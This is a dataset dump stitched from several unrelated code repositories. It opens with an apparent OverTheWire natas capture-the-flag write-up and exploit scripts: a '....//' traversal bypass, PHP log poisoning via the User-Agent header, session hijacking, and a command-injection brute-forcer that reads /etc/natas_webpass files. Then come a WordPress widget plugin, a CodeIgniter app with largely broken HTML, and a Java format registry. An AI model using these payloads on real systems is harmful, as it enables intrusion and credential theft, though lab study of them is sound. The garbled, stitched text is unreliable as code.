$_REQUEST[\"lang\"] )) // we can directory traverse\n return 1;\n safeinclude(\"language/en\"); \n }\n function safeinclude($filename){\n // check for directory traversal\n if(strstr($filename,\"../\")){ // but \"../\"\" is filtered out\n logRequest(\"Directory traversal attempt! fixing request.\"); // we can outsmart this; use \"....//\"; so \"../\" will be filtered out but \"../\" remains\n $filename=str_replace(\"../\",\"\",$filename);\n }\n // dont let ppl steal our passwords\n if(strstr($filename,\"natas_webpass\")){ // still we cannot access /etc/natas_webpass/natas26\n logRequest(\"Illegal file access detected! Aborting!\");\n exit(-1);\n }\n // add more checks...\n if (file_exists($filename)) { \n include($filename);\n return 1;\n }\n return 0;\n }\nbut take a look at this code:\nlogRequest(\"Directory traversal attempt! fixing request.\"); // if any filtering actions occour, it is logged in a file\nfunction logRequest($message){\n $log=\"[\". date(\"d.m.Y H::i:s\",time()) .\"]\"; // date time is written to the log file\n $log=$log . \" \" . $_SERVER['HTTP_USER_AGENT']; // this is interesting; clients \"user-agent\" is also logged; with python requests we can supply our custom user-agent\n $log=$log . \" \\\"\" . $message .\"\\\"\\n\"; \n $fd=fopen(\"/var/www/natas/natas25/logs/natas25_\" . session_id() .\".log\",\"a\");\n fwrite($fd,$log);\n fclose($fd);\n }\nparams = {\"lang\": \"....//....//....//....//....//path_to_the_log_file\"}\nso when filtering, our user agent is logged\nwhat if we change out user agent with php code\nheaders = {\"User-Agent\": \"\"}\nso we get the contents of the log file which actually contains the php code to print the password for the next level\n# playing with cookies: cross-site session hijaking\n\twe get this note:\n\tNote: this website is colocated with http://natas21-experimenter.natas.labs.overthewire.org\n\tcheck the source code in both webpages\n\tthe main vulnurable code is:\n\tThis code is in the second website\n\tif(array_key_exists(\"submit\", $_REQUEST)) {\n foreach($_REQUEST as $key => $val) {\n $_SESSION[$key] = $val;\n }\n\t}\n\tso whatever we submit through the form is stored in the session array\n\tso we can submit \"admin\": \"1\"\n\n\tthe main print_credentials() page is in the orignal webiste\n\n\twebsites are colocated: never heard of it\n\tgoogled it: co-located\n\tsharing same location\n\tso session cookies might also be stored on the sa,e computer I guess\n\tpost \"admin\": \"1\"\n\tfrom the second website and get the \"PHPSESSID\" and perform a get request to the orignal website submitting the same session cookie and wohhal you are the admin\n\tbacause we at first set the array or the session variable $_session['array'] = 1\n\tand used the same session cookie 2nd time which will access the same file for the seeion on the server.import requests\n\nurl = \"http://natas16.natas.labs.overthewire.org/\"\nusername = 'natas16'\npassword = ''\nall_possible_chars = '0123456789abcdefghijklmnopqrstuvwxysABCDEFGHIJKLMNOPQRSTUVWXYZ'\nlis = []\ncount = 0\nfor i in all_possible_chars:\n\tparams = {'needle': \"$(grep ^\" + i + \" /etc/natas_webpass/natas17)elephant\"}\n\tr = requests.get(url, params=params, auth = (username, password))\n\tprint(count)\n\tprint(r.url)\n\tcount += 1\n\tif 'elephant' not in r.text:\n\t\tlis.append(i)\n\t\tprint(\"\".join(lis))\n\timport requests\n\nurl = 'http://natas22.natas.labs.overthewire.org/'\nusername = 'natas22'\npassword = ''\npayload = {\"revelio\" : \"djdjd\"}\nsession = requests.session()\n\nresponse = session.get(\n url, params=payload, auth=(username, password), allow_redirects = False)\n\nprint(response.text)\n#print(response.history)\n\n# natas23_pass: "},"directory_id":{"kind":"string","value":"195e49193374f8f9c37c5a00cbdf78a60c2c7454"},"languages":{"kind":"list like","value":["Markdown","Python","PHP"],"string":"[\n \"Markdown\",\n \"Python\",\n \"PHP\"\n]"},"num_files":{"kind":"number","value":25,"string":"25"},"repo_language":{"kind":"string","value":"Python"},"repo_name":{"kind":"string","value":"Rounak-stha/OTW-natas"},"revision_id":{"kind":"string","value":"c2afa035a29c9c78679323a4d76a4ce34117f529"},"snapshot_id":{"kind":"string","value":"9a8bb6e40f9a9caf10ea73645b7c03256ec577f4"}}},{"rowIdx":116,"cells":{"branch_name":{"kind":"string","value":"refs/heads/master"},"text":{"kind":"string","value":"'s WP Widgets & Shit.\nPlugin URI: http://randydaniel.me\nDescription: Custom theme widgets & shit.\nVersion: 1.0\nAuthor: \nAuthor URI: http://randydaniel.me\n*/\n\n\n\n\n// Add class (img-responsive) to get_avatar reference, used in agent/broker widget.\nadd_filter('get_avatar','change_avatar_css');\n\n function change_avatar_css($class) {\n $class = str_replace(\"class='avatar\", \"class='avatar img-responsive \", $class) ;\n return $class;\n}\n\n\n\n\n// Creating the agent/broker widget\nclass rdwp_widget_broker extends WP_Widget {\n\n/** Widget Setup (Constructor Form) **/\n function __construct() {\n parent::__construct(\n // Base ID of your widget\n 'rdwp_widget_broker',\n\n // Widget name will appear in UI\n __('Broker Information', 'rdwp_widget_broker_domain'),\n\n // Widget description\n array( 'description' => __( 'Display broker information for current &amp; similar listings. (Useful ONLY in \"Property Listing\" sidebar.)', 'rdwp_widget_broker_domain' ), )\n );\n }\n\n\n\n\n // Creating widget front-end\n // This is where the action happens\n public function widget( $args, $instance ) {\n $title = apply_filters( 'widget_title', $instance['title'] );\n\n // before and after widget arguments are defined by themes\n echo $args['before_widget'];\n if ( ! empty( $title ) )\n echo $args['before_title'] . $title . $args['after_title'];\n\n // This is where you run the code and display the output\n echo '
';\n\n echo get_avatar( get_the_author_meta( 'ID' ) );\n echo '

' . get_the_author_meta('display_name') . '

';\n // #widget-broker\n\n echo '
';\n echo '';\n\n if( get_theme_mod( 'crossings_brand_image', 'value' ) ):\n echo '
';\n echo '';\n endif;\n\n echo $args['after_widget'];\n\n }\n\n\n\n\n // Widget Backend\n public function form( $instance ) {\n\n if ( isset( $instance[ 'title' ] ) ) {\n $title = $instance[ 'title' ];\n }\n\n else {\n $title = __( 'Agent Information', 'rdwp_widget_broker_domain' );\n }\n\n // Widget admin form\n ?>\n\n

\n \n get_field_id( 'title' ); ?>\" name=\"get_field_name( 'title' ); ?>\" type=\"text\" value=\"\" />\n

\n\n ' . __('[...]', 'your-text-domain') . '';\n}\nadd_filter( 'excerpt_more', 'new_excerpt_more' );\n\n\n\n\n// Creating the recent posts widget\nclass rdwp_widget_recent extends WP_Widget {\n\n/** Widget Setup (Constructor Form) **/\n function __construct() {\n parent::__construct(\n // Base ID of your widget\n 'rdwp_widget_recent',\n\n // Widget name will appear in UI\n __('Recent Listings', 'rdwp_widget_recent_domain'),\n\n // Widget description\n array( 'description' => __( 'Display (3) recent property listings', 'rdwp_widget_recent_domain' ), )\n );\n }\n\n\n\n\n // Creating widget front-end\n // This is where the action happens\n public function widget( $args, $instance ) {\n $title = apply_filters( 'widget_title', $instance['title'] );\n\n // before and after widget arguments are defined by themes\n echo $args['before_widget'];\n if ( ! empty( $title ) )\n echo $args['before_title'] . $title . $args['after_title'];\n\n // This is where you run the code and display the output\n\n $the_query = new WP_Query( 'showposts=3' );\n while ($the_query -> have_posts()) : $the_query -> the_post();\n echo '
';\n\n if (has_post_thumbnail( $post->ID ) ):\n $image = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), 'single-post-thumbnail' );\n echo '';\n endif;\n\n echo '';\n echo '

';\n echo the_title();\n echo '

';\n\n echo the_excerpt();\n\n echo '
';\n echo '
';\n echo the_field('bedrooms') . '&nbsp;BR
';\n echo '
';\n echo the_field('bathrooms') . '&nbsp;BA
';\n echo '
';\n $category = get_the_category();\n echo $category[0]->cat_name . '
';\n echo '
';\n\n echo '
';\n\n endwhile;\n\n echo $args['after_widget'];\n\n }\n\n\n\n\n // Widget Backend\n public function form( $instance ) {\n\n if ( isset( $instance[ 'title' ] ) ) {\n $title = $instance[ 'title' ];\n }\n\n else {\n $title = __( 'Recent Listings', 'rdwp_widget_recent_domain' );\n }\n\n // Widget admin form\n ?>\n\n

\n \n get_field_id( 'title' ); ?>\" name=\"get_field_name( 'title' ); ?>\" type=\"text\" value=\"\" />\n

\n\n \n"},"directory_id":{"kind":"string","value":"6165ae4ea43a6a14156ccf228645ec6dee75f1af"},"languages":{"kind":"list like","value":["PHP"],"string":"[\n \"PHP\"\n]"},"num_files":{"kind":"number","value":1,"string":"1"},"repo_language":{"kind":"string","value":"PHP"},"repo_name":{"kind":"string","value":"romeomikedelta/rdwp-extras"},"revision_id":{"kind":"string","value":"f63928416efe49f89ed39702af836ae9c27c76ca"},"snapshot_id":{"kind":"string","value":"e54f3de1682115365f01cffa9e88b04cd3ec9479"}}},{"rowIdx":117,"cells":{"branch_name":{"kind":"string","value":"refs/heads/master"},"text":{"kind":"string","value":"\r\n\r\n\r\nload->helper('url');\r\n $this->load->view('Autorisation');\r\n }\r\n\r\n \r\n}\r\n\r\n \r\n\r\n \r\n \r\n \r\n\r\n \r\n\r\n \" />\r\n\r\n \" crossorigin=\"anonymous\">\r\n \r\n \r\n \r\n \r\n \r\n \r\n Autorisation drone \r\n \r\n \r\n \r\n\r\n\r\n
\r\n\r\n\r\n\r\n\r\n
\r\n\r\n \r\n
\r\n\r\n \r\n \r\n\r\n

SOLO

\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n
\r\n\r\n\r\n
\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\r\n
\r\n
\r\n
\r\n
Ready to Leave?
\r\n \r\n
\r\n
Select \"Logout\" below if you are ready to end your current session.
\r\n
\r\n \r\n Logout\r\n
\r\n
\r\n
\r\n
\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n
\r\n
\r\n
\r\n \"map\"\r\n\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n \r\n \" class=\"form-control\" id=\"exampleInputPassword1\" placeholder=\"\">\r\n
\r\n
\r\n \r\n\r\n\"\"\r\n\r\n \r\n
\r\n \r\n
\r\n\r\n\r\n
\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n \r\n\r\n# hajarsolo\nprojet stage\n\r\n\r\n\r\n \r\n \r\n /public:CSS/bootstrap\">\r\n Header \r\n \r\n\r\n \r\n

TeST Header

\r\n \r\n\r\n\r\n \r\n\r\n \r\n \r\n \r\n\r\n \r\n\r\n \r\n \r\n crossorigin=\"anonymous\">\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n

solo

\r\n
\r\n
\r\n
\r\n\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n \r\n \">\r\n
\r\n
\r\n \r\n\r\n\r\n\r\n\r\n \r\n
\r\n \r\n
\r\n\r\n\r\n
\r\n\r\n
\r\n \r\n
\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n \r\n\r\n"},"directory_id":{"kind":"string","value":"db6c391260a912583732c7d9c4d1763296682a78"},"languages":{"kind":"list like","value":["Markdown","PHP"],"string":"[\n \"Markdown\",\n \"PHP\"\n]"},"num_files":{"kind":"number","value":6,"string":"6"},"repo_language":{"kind":"string","value":"PHP"},"repo_name":{"kind":"string","value":"HajarZR/hajarsolo"},"revision_id":{"kind":"string","value":"433aa24e20be27b97b1aa0f2301f89668e802977"},"snapshot_id":{"kind":"string","value":"4477550cda83db2d72cbf1709fb6e4975290802f"}}},{"rowIdx":118,"cells":{"branch_name":{"kind":"string","value":"refs/heads/master"},"text":{"kind":"string","value":"\r\nPrototype Format Registry\r\n\r\n\r\nAIT Austrian Institute of Technology GmbH\r\n03.01.2011\r\n\r\n\r\nINSTALLATION\r\n\r\n1. Requires Java 1.6 or higher\r\n\r\n2. Requires Tomcat 6 or higher\r\n\r\n\r\n3. Create a working directory for the application, for example\r\n\r\nC:/registry\r\n\r\nThen create two sub-directories under this directory\r\n\r\nC:/registry/work\r\nC:/registry/download\r\n\r\n\r\n4. Populate the application directory with the source format XML files\r\n\r\n4a. You can download these from\r\n\r\nhttps://github.com/rcking/formatxmlrepository\r\n\r\nUnpack the container to the application directory (e.g. \"C:/registry\") \r\n\r\nRename the new subdirectory from (for example)\r\n\r\nC:/registry/rcking-formatxmlrepository-0f9fc13\r\n\r\nto\r\n\r\nC:/registry/formatxmlrepository\r\n\r\n4b. Alternatively, if you have GIT installed, go to the application directory (e.g. \"/registry\") and execute\r\n\r\ngit clone https://github.com/rcking/formatxmlrepository.git\r\n\r\n\r\n5. Copy registry.war to the WEBAPPS directory of your Tomcat installation\r\n\r\n\r\n6. Edit the WEB-INF/classes/registry.properties file in order to point to the application directories\r\n\r\nYou can either edit this directly in the war archive, or you can unpack the war archive into the Tomcat webapps directory and then edit the properties file.\r\n\r\nformatxmlpath=C:/registry/formatxmlrepository\r\noutputxmlpath=C:/registry/work\r\ndownloadpath=C:/registry/download\r\n\r\nNote that it is important that these three directories be different!\r\n\r\n\r\n7. Start Tomcat; the application should be available under\r\n\r\nhttp://localhost:8080/registry/\r\n\r\npackage at.ac.ait.formatRegistry.gui.pages;\r\n\r\nimport java.util.ArrayList;\r\nimport java.util.Iterator;\r\nimport java.util.List;\r\n\r\nimport org.apache.tapestry5.ValueEncoder;\r\nimport org.apache.tapestry5.annotations.InjectPage;\r\nimport org.apache.tapestry5.annotations.Persist;\r\nimport org.apache.tapestry5.annotations.Property;\r\nimport org.apache.tapestry5.ioc.annotations.Inject;\r\n\r\nimport uk.gov.nationalarchives.pronom.PRONOMReport.ReportFormatDetail.FileFormat;\r\nimport uk.gov.nationalarchives.pronom.PRONOMReport.ReportFormatDetail.FileFormat.FidoSignature;\r\nimport uk.gov.nationalarchives.pronom.PRONOMReport.ReportFormatDetail.FileFormat.FidoSignature.Pattern;\r\nimport at.ac.ait.formatRegistry.gui.services.FileFormatDAO;\r\n\r\npublic class EditFidoPattern {\r\n @Inject\r\n private FileFormatDAO formatDAO;\r\n \r\n @InjectPage\r\n private EditFormat editFormat;\r\n\r\n @Property\r\n\t@Persist\r\n\tprivate FileFormat _format;\r\n\t\r\n\t@Property\r\n\t@Persist\r\n\tprivate FidoSignature _signature;\r\n\t\r\n\t@Property\r\n\t@Persist\r\n\tprivate List _patternHolders;\r\n\r\n\t@Property\r\n\tprivate PatternHolder _patternHolder;\r\n\t\r\n\tObject initialize(FileFormat format, FidoSignature signature) {\r\n\t\t_patternHolders = new ArrayList();\r\n\t\tIterator it1 = signature.getPattern().iterator();\r\n\t\twhile (it1.hasNext()) {\r\n\t\t\t_patternHolders.add(new PatternHolder(it1.next(), false, 0 - System.nanoTime()));\r\n\t\t}\r\n\t\tthis._format = format;\r\n\t\tthis._signature = signature;\r\n\t\treturn this;\r\n\t}\r\n\r\n\r\n public Object onSuccess() {\r\n\t\tfor (PatternHolder ph : _patternHolders) {\r\n\t\t\tPattern theSequence = ph.getPattern();\r\n\t\t\tif (ph.isNew()) {\r\n\t\t\t\t_signature.getPattern().add(theSequence);\r\n\t\t\t} else if (ph.isDeleted()) {\r\n\t\t\t\t_signature.getPattern().remove(theSequence);\r\n\t\t\t}\r\n\t\t} \t\r\n \tformatDAO.save(_format);\r\n \treturn editFormat.initialize(_format.getFormatID());\r\n }\r\n \r\n PatternHolder onAddRowFromPatterns() {\r\n\t\t// Create a skeleton Person and add it to the displayed list with a unique key\r\n \tPattern newP = new Pattern();\r\n \tPatternHolder newBsHolder = new PatternHolder(newP, true, 0 - System.nanoTime());\r\n \t_patternHolders.add(newBsHolder);\r\n\t\treturn newBsHolder;\r\n\t}\r\n\r\n\tvoid onRemoveRowFromPatterns(PatternHolder pattern) {\r\n\t\tif (pattern.isNew()) {\r\n\t\t\t_patternHolders.remove(pattern);;\r\n\t\t}\r\n\t\telse {\r\n\t\t\tpattern.setDeleted(true);\r\n\t\t}\r\n\t}\r\n\t\r\n\tpublic ValueEncoder getPatternEncoder() {\r\n\t\treturn new ValueEncoder() {\r\n\r\n\t\t\tpublic String toClient(PatternHolder value) {\r\n\t\t\t\tLong key = value.getKey();\r\n\t\t\t\treturn key.toString();\r\n\t\t\t}\r\n\r\n\t\t\tpublic PatternHolder toValue(String keyAsString) {\r\n\t\t\t\tLong key = new Long(keyAsString);\r\n\t\t\t\tfor (PatternHolder holder : _patternHolders) {\r\n\t\t\t\t\tif (holder.getKey().equals(key)) {\r\n\t\t\t\t\t\treturn holder;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\tthrow new IllegalArgumentException(\"Received key \\\"\" + key\r\n\t\t\t\t\t\t+ \"\\\" which has no counterpart in this collection: \" + _patternHolders);\r\n\t\t\t}\r\n\t\t};\r\n\t}\r\n\r\n\tpublic class PatternHolder {\r\n\t\tprivate Pattern _p;\r\n\t\tprivate Long _key;\r\n\t\tprivate boolean _new;\r\n\t\tprivate boolean _deleted;\r\n\t\tPatternHolder(Pattern p, boolean isNew, Long key) {\r\n\t\t\t_p = p;\r\n\t\t\t_key = key;\r\n\t\t\t_new = isNew;\r\n\t\t}\r\n\t\tpublic Pattern getPattern() {\r\n\t\t\treturn _p;\r\n\t\t}\r\n\t\tpublic Long getKey() {\r\n\t\t\treturn _key;\r\n\t\t}\r\n\t\tpublic boolean isNew() {\r\n\t\t\treturn _new;\r\n\t\t}\r\n\r\n\t\tpublic boolean setDeleted(boolean deleted) {\r\n\t\t\treturn _deleted = deleted;\r\n\t\t}\r\n\r\n\t\tpublic boolean isDeleted() {\r\n\t\t\treturn _deleted;\r\n\t\t}\r\n\t}\r\n\r\n}\r\npackage at.ac.ait.formatRegistry.gui.components;\r\n\r\nimport org.apache.tapestry5.annotations.IncludeStylesheet;\r\n\r\n@IncludeStylesheet(\"context:css/main.css\")\r\npublic class Layout {\r\n\r\n}\r\n// Copyright 2007, 2008 The Apache Software Foundation\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage at.ac.ait.formatRegistry.gui.services;\n\nimport java.io.IOException;\n\nimport org.apache.tapestry5.SymbolConstants;\nimport org.apache.tapestry5.ioc.MappedConfiguration;\nimport org.apache.tapestry5.ioc.OrderedConfiguration;\nimport org.apache.tapestry5.ioc.ServiceBinder;\nimport org.apache.tapestry5.ioc.annotations.InjectService;\nimport org.apache.tapestry5.services.Request;\nimport org.apache.tapestry5.services.RequestFilter;\nimport org.apache.tapestry5.services.RequestHandler;\nimport org.apache.tapestry5.services.Response;\nimport org.apache.tapestry5.urlrewriter.RewriteRuleApplicability;\nimport org.apache.tapestry5.urlrewriter.SimpleRequestWrapper;\nimport org.apache.tapestry5.urlrewriter.URLRewriterRule;\nimport org.apache.tapestry5.urlrewriter.URLRewriteContext;\nimport org.slf4j.Logger;\n\n/**\n * This module is automatically included as part of the Tapestry IoC Registry,\n * it's a good place to configure and extend Tapestry, or to place your own\n * service definitions.\n */\npublic class AppModule {\n\tpublic static void bind(ServiceBinder binder) {\n\t\t// binder.bind(MyServiceInterface.class, MyServiceImpl.class);\n\t\tbinder.bind(FileFormatDAO.class, FileFormatDAOImpl.class);\n\t\t// Make bind() calls on the binder object to define most IoC services.\n\t\t// Use service builder methods (example below) when the implementation\n\t\t// is provided inline, or requires more initialization than simply\n\t\t// invoking the constructor.\n\t}\n\n\tpublic static void contributeApplicationDefaults(\n\t\t\tMappedConfiguration configuration) {\n\t\t// Contributions to ApplicationDefaults will override any contributions\n\t\t// to\n\t\t// FactoryDefaults (with the same key). Here we're restricting the\n\t\t// supported\n\t\t// locales to just \"en\" (English). As you add localised message catalogs\n\t\t// and other assets,\n\t\t// you can extend this list of locales (it's a comma seperated series of\n\t\t// locale names;\n\t\t// the first locale name is the default when there's no reasonable\n\t\t// match).\n\n\t\tconfiguration.add(SymbolConstants.SUPPORTED_LOCALES, \"en\");\n\n\t\t// The factory default is true but during the early stages of an\n\t\t// application\n\t\t// overriding to false is a good idea. In addition, this is often\n\t\t// overridden\n\t\t// on the command line as -Dtapestry.production-mode=false\n\t\tconfiguration.add(SymbolConstants.PRODUCTION_MODE, \"false\");\n\t}\n\n\t/**\n\t * This is a service definition, the service will be named \"TimingFilter\".\n\t * The interface, RequestFilter, is used within the RequestHandler service\n\t * pipeline, which is built from the RequestHandler service configuration.\n\t * Tapestry IoC is responsible for passing in an appropriate Log instance.\n\t * Requests for static resources are handled at a higher level, so this\n\t * filter will only be invoked for Tapestry related requests.\n\t * \n\t *

\n\t * Service builder methods are useful when the implementation is inline as\n\t * an inner class (as here) or require some other kind of special\n\t * initialization. In most cases, use the static bind() method instead.\n\t * \n\t *

\n\t * If this method was named \"build\", then the service id would be taken from\n\t * the service interface and would be \"RequestFilter\". Since Tapestry\n\t * already defines a service named \"RequestFilter\" we use an explicit\n\t * service id that we can reference inside the contribution method.\n\t */\n\tpublic RequestFilter buildTimingFilter(final Logger log) {\n\t\treturn new RequestFilter() {\n\t\t\tpublic boolean service(Request request, Response response,\n\t\t\t\t\tRequestHandler handler) throws IOException {\n\t\t\t\tlong startTime = System.currentTimeMillis();\n\n\t\t\t\ttry {\n\t\t\t\t\t// The reponsibility of a filter is to invoke the\n\t\t\t\t\t// corresponding method\n\t\t\t\t\t// in the handler. When you chain multiple filters together,\n\t\t\t\t\t// each filter\n\t\t\t\t\t// received a handler that is a bridge to the next filter.\n\n\t\t\t\t\treturn handler.service(request, response);\n\t\t\t\t} finally {\n\t\t\t\t\tlong elapsed = System.currentTimeMillis() - startTime;\n\n\t\t\t\t\tlog.info(String.format(\"Request time: %d ms\", elapsed));\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\t}\n\n\t/**\n\t * This is a contribution to the RequestHandler service configuration. This\n\t * is how we extend Tapestry using the timing filter. A common use for this\n\t * kind of filter is transaction management or security.\n\t */\n\tpublic void contributeRequestHandler(\n\t\t\tOrderedConfiguration configuration,\n\t\t\t@InjectService(\"TimingFilter\") RequestFilter filter) {\n\t\t// Each contribution to an ordered configuration has a name, When\n\t\t// necessary, you may\n\t\t// set constraints to precisely control the invocation order of the\n\t\t// contributed filter\n\t\t// within the pipeline.\n\n\t\tconfiguration.add(\"Timing\", filter);\n\t}\n\n\tpublic static void contributeURLRewriter(\n\t\t\tOrderedConfiguration configuration) {\n\n\t\tURLRewriterRule rule1 = new URLRewriterRule() {\n\n\t\t\tpublic Request process(Request request, URLRewriteContext context) {\n\t\t\t\tfinal String path = request.getPath();\n\t\t\t\tif (path.startsWith(\"/fmt/\")) {\n\t\t\t\t\tString newPath = path.replaceFirst(\"fmt\", \"viewpronom\");\n\t\t\t\t\trequest = new SimpleRequestWrapper(request, newPath);\n\t\t\t\t}\n\n\t\t\t\treturn request;\n\n\t\t\t}\n\n\t\t\tpublic RewriteRuleApplicability applicability() {\n\t\t\t\treturn RewriteRuleApplicability.INBOUND;\n\t\t\t}\n\n\t\t};\n\t\t\n\t\tURLRewriterRule rule2 = new URLRewriterRule() {\n\n\t\t\tpublic Request process(Request request, URLRewriteContext context) {\n\t\t\t\tfinal String path = request.getPath();\n\t\t\t\tif (path.startsWith(\"/x-fmt/\")) {\n\t\t\t\t\tString newPath = path.replaceFirst(\"x-fmt\", \"viewpronomx\");\n\t\t\t\t\trequest = new SimpleRequestWrapper(request, newPath);\n\t\t\t\t}\n\n\t\t\t\treturn request;\n\n\t\t\t}\n\n\t\t\tpublic RewriteRuleApplicability applicability() {\n\t\t\t\treturn RewriteRuleApplicability.INBOUND;\n\t\t\t}\n\n\t\t};\n\t\t\n\t\tURLRewriterRule rule3 = new URLRewriterRule() {\n\n\t\t\tpublic Request process(Request request, URLRewriteContext context) {\n\t\t\t\tfinal String path = request.getPath();\n\t\t\t\tif (path.startsWith(\"/o-fmt/\")) {\n\t\t\t\t\tString newPath = path.replaceFirst(\"o-fmt\", \"viewpronomo\");\n\t\t\t\t\trequest = new SimpleRequestWrapper(request, newPath);\n\t\t\t\t}\n\n\t\t\t\treturn request;\n\n\t\t\t}\n\n\t\t\tpublic RewriteRuleApplicability applicability() {\n\t\t\t\treturn RewriteRuleApplicability.INBOUND;\n\t\t\t}\n\n\t\t};\n\t\t\n\t\tconfiguration.add(\"fmt-rule\", rule1);\n\t\tconfiguration.add(\"x-fmt-rule\", rule2);\n\t\tconfiguration.add(\"o-fmt-rule\", rule3);\n\n\t}\n\n}\n//\r\n// This file was generated by the JavaTM Architecture for XML Binding(JAXB) Reference Implementation, vJAXB 2.1.3 in JDK 1.6 \r\n// See http://java.sun.com/xml/jaxb \r\n// Any modifications to this file will be lost upon recompilation of the source schema. \r\n// Generated on: 2010.11.18 at 11:42:33 AM MEZ \r\n//\r\n\r\npackage uk.gov.nationalarchives.pronom;\r\n\r\nimport java.util.ArrayList;\r\nimport java.util.Iterator;\r\nimport java.util.List;\r\nimport javax.xml.bind.annotation.XmlAccessType;\r\nimport javax.xml.bind.annotation.XmlAccessorType;\r\nimport javax.xml.bind.annotation.XmlElement;\r\nimport javax.xml.bind.annotation.XmlRootElement;\r\nimport javax.xml.bind.annotation.XmlType;\r\n\r\nimport org.apache.tapestry5.beaneditor.NonVisual;\r\n\r\nimport uk.bl.dpt.fido.ContainerType;\r\nimport uk.bl.dpt.fido.PositionType;\r\n\r\n@XmlAccessorType(XmlAccessType.FIELD)\r\n@XmlType(name = \"\", propOrder = {\r\n \"reportFormatDetail\"\r\n})\r\n@XmlRootElement(name = \"PRONOM-Report\")\r\npublic class PRONOMReport {\r\n\r\n @XmlElement(name = \"report_format_detail\")\r\n protected List reportFormatDetail;\r\n\r\n /**\r\n * Gets the value of the reportFormatDetail property.\r\n * \r\n *

\r\n * This accessor method returns a reference to the live list,\r\n * not a snapshot. Therefore any modification you make to the\r\n * returned list will be present inside the JAXB object.\r\n * This is why there is not a set method for the reportFormatDetail property.\r\n * \r\n *

\r\n * For example, to add a new item, do as follows:\r\n *

\r\n     *    getReportFormatDetail().add(newItem);\r\n     * 
\r\n * \r\n * \r\n *

\r\n * Objects of the following type(s) are allowed in the list\r\n * {@link PRONOMReport.ReportFormatDetail }\r\n * \r\n * \r\n */\r\n public List getReportFormatDetail() {\r\n if (reportFormatDetail == null) {\r\n reportFormatDetail = new ArrayList();\r\n }\r\n return this.reportFormatDetail;\r\n }\r\n\r\n\r\n @XmlAccessorType(XmlAccessType.FIELD)\r\n @XmlType(name = \"\", propOrder = {\r\n \"searchCriteria\",\r\n \"fileFormat\"\r\n })\r\n public static class ReportFormatDetail {\r\n\r\n @XmlElement(name = \"SearchCriteria\")\r\n protected String searchCriteria;\r\n @XmlElement(name = \"FileFormat\")\r\n protected List fileFormat;\r\n\r\n /**\r\n * Gets the value of the searchCriteria property.\r\n * \r\n * @return\r\n * possible object is\r\n * {@link String }\r\n * \r\n */\r\n public String getSearchCriteria() {\r\n return searchCriteria;\r\n }\r\n\r\n /**\r\n * Sets the value of the searchCriteria property.\r\n * \r\n * @param value\r\n * allowed object is\r\n * {@link String }\r\n * \r\n */\r\n public void setSearchCriteria(String value) {\r\n this.searchCriteria = value;\r\n }\r\n\r\n /**\r\n * Gets the value of the fileFormat property.\r\n * \r\n *

\r\n * This accessor method returns a reference to the live list,\r\n * not a snapshot. Therefore any modification you make to the\r\n * returned list will be present inside the JAXB object.\r\n * This is why there is not a set method for the fileFormat property.\r\n * \r\n *

\r\n * For example, to add a new item, do as follows:\r\n *

\r\n         *    getFileFormat().add(newItem);\r\n         * 
\r\n * \r\n * \r\n *

\r\n * Objects of the following type(s) are allowed in the list\r\n * {@link PRONOMReport.ReportFormatDetail.FileFormat }\r\n * \r\n * \r\n */\r\n public List getFileFormat() {\r\n if (fileFormat == null) {\r\n fileFormat = new ArrayList();\r\n }\r\n return this.fileFormat;\r\n }\r\n\r\n @XmlAccessorType(XmlAccessType.FIELD)\r\n @XmlType(name = \"\", propOrder = {\r\n \"formatID\",\r\n \"formatName\",\r\n \"formatVersion\",\r\n \"formatAliases\",\r\n \"formatFamilies\",\r\n \"formatTypes\",\r\n \"formatDisclosure\",\r\n \"formatDescription\",\r\n \"binaryFileFormat\",\r\n \"byteOrders\",\r\n \"releaseDate\",\r\n \"withdrawnDate\",\r\n \"provenanceSourceID\",\r\n \"provenanceName\",\r\n \"provenanceSourceDate\",\r\n \"provenanceDescription\",\r\n \"lastUpdatedDate\",\r\n \"formatNote\",\r\n \"formatRisk\",\r\n \"container\",\r\n \"technicalEnvironment\",\r\n \"fileFormatIdentifier\",\r\n \"document\",\r\n \"externalSignature\",\r\n \"internalSignature\",\r\n \"fidoSignature\",\r\n \"relatedFormat\",\r\n \"compressionType\"\r\n })\r\n public static class FileFormat {\r\n\r\n @XmlElement(name = \"FormatID\")\r\n protected String formatID;\r\n @XmlElement(name = \"FormatName\")\r\n protected String formatName;\r\n @XmlElement(name = \"FormatVersion\")\r\n protected String formatVersion;\r\n @XmlElement(name = \"FormatAliases\")\r\n protected String formatAliases;\r\n @XmlElement(name = \"FormatFamilies\")\r\n protected String formatFamilies;\r\n @XmlElement(name = \"FormatTypes\")\r\n protected String formatTypes;\r\n @XmlElement(name = \"FormatDisclosure\")\r\n protected String formatDisclosure;\r\n @XmlElement(name = \"FormatDescription\")\r\n protected String formatDescription;\r\n @XmlElement(name = \"BinaryFileFormat\")\r\n protected String binaryFileFormat;\r\n @XmlElement(name = \"ByteOrders\")\r\n protected String byteOrders;\r\n @XmlElement(name = \"ReleaseDate\")\r\n protected String releaseDate;\r\n @XmlElement(name = \"WithdrawnDate\")\r\n protected String withdrawnDate;\r\n @XmlElement(name = \"ProvenanceSourceID\")\r\n protected String provenanceSourceID;\r\n @XmlElement(name = \"ProvenanceName\")\r\n protected String provenanceName;\r\n @XmlElement(name = \"ProvenanceSourceDate\")\r\n protected String provenanceSourceDate;\r\n @XmlElement(name = \"ProvenanceDescription\")\r\n protected String provenanceDescription;\r\n @XmlElement(name = \"LastUpdatedDate\")\r\n protected String lastUpdatedDate;\r\n 